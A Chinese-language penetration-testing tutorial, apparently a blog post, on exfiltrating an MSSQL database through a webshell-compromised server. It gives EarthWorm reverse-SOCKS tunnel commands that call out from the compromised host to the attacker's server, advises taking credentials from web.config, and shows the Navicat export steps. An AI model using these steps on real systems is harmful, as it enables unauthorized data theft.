使用ew代理導出和導入mssql數據
在penetest過程中碰到一些情況,僅僅獲取了webshell權限,無法提權(阿裏雲服務器),而數據庫服務器又不在本地,數據庫服務器在阿裏雲上,僅僅授權webshell所在IP的計算機訪問,這時候就需要通過架設代理,通過代理連接數據庫服務器,並通過Navicat for SQL Server將數據庫從遠端取回,同時需要在本地進行還原。
設置代理
1.在獨立公網IP執行命令
下載ew代理工具,下載地址:http://rootkiter.com/EarthWorm/ ,解壓後將對應版本的ew復制到相應文件夾,執行命令:ew -s rcsocks -l 1080 -e 8888,如圖1所示,其中8888為獨立公網IP地址所開放的8888端口,1080為代理端口。
圖1在獨立公網服務器上開啟443代理
2.在被控制服務器上執行命令
將ew.exe復制到被控制服務器上,通過shell執行命令:ew -s rssocks -d 139.1..31 -e 8888,139.1..31為獨立IP地址,連接8888端口。
3.設置Proxifier
安裝Proxifier程序,安裝完畢後,單擊“配置文件”-“代理服務器”-“添加”,在地址中填寫公網IP地址和對應的端口,如圖2所示,協議選擇socks版本5,完成後確定設置。
圖2設置Proxifier代理IP地址
4.測試代理
在視圖中單擊“代理檢查器”,如圖3所示,單擊“開始測試”,如果代理服務器能夠正常連通,則顯示綠色,否則顯示紅色表示代理通道未成功連接。
圖3測試代理通道建立
設置Navicat for SQL Server
1.設置Navicat for SQL Server連接
安裝Navicat for SQL Server,完成後,打開Navicat for SQL Server,在其中新建一個數據庫連接,如圖4所示,在主機名或IP地址中填寫對應的地址,一般選擇SQL Server驗證,在用戶名和密碼中輸入獲取的用戶名和密碼(數據庫用戶名和密碼一般在連接字符串中,例如web.config)。
圖4設置Navicat for SQL Server連接
2.連接測試
在Navicat for SQL Server中雙擊database,如圖5所示,打開該數據庫服務器中的所有數據庫,選中一個數據庫打開之dbo。
圖5測試數據庫連接
導出數據庫
1.選擇和設置數據庫導出
選中數據庫名稱(例如datadb)-dbo,右鍵單擊選擇“數據傳輸”,在常規中會自動出現剛才選中的數據庫,默認會選擇所有的表、視圖、過程和函數,在目標中選擇“文件”-選擇導出文件的位置和名稱,編碼選擇默認,如圖6所示。
圖6設置數據庫導出
2.去掉刪除數據庫表選項
在高級中需要去掉“創建前刪除目標對象”選項框,如果本地存在該數據庫,則不用去掉。如圖7所示,如果沒有去掉,則會在導入數據庫是出錯,因為需要drop表,數據庫本身不存在!其它選項可以根據實際需要進行選擇。
圖7去掉刪除表操作
3.導出數據
如圖8所示,正確設置數據庫導出屬性後,開始導出數據庫,顯示100%數據傳輸時代表該數據庫數據和表全部導出到本地sql文件。
圖8導出數據庫sql文件
導入SQL Server數據庫
將導出的SQL文件下載到本地,本地需要搭建SQL Server數據庫服務器,其導入過程比較簡單,下面介紹其操作流程,詳細過程就不贅述了。
1.在本地SQL Server數據庫中創建對應的數據庫名稱
2.設置相同的用戶,此處設置導出是數據對應的用戶名稱和密碼,跟導出的sql文件對應的用戶和權限,防止出現權限不一致導入數據失敗。
3.設置用戶的對應權限。在SQL Server中對用戶設置可以訪問數據庫以及數據庫角色權限。
4.設置Navicat for SQL Server,用同樣的方法在本地建立數據庫連接。
5.連接數據庫服務器,打開需要導入的數據庫到dbo處,選擇運行SQL文件,選中導出的sql文件,開始導入數據庫。
6.數據庫導入成功後,刷新數據庫即可在本地使用。
覺得本文不錯的朋友,可以移步本人在51cto專欄文章,訂閱專欄有送書活動:
(1)《Web網站安全評估分析及防禦》
(2)《sqlmap從入門到精通》
使用ew代理導出和導入mssql數據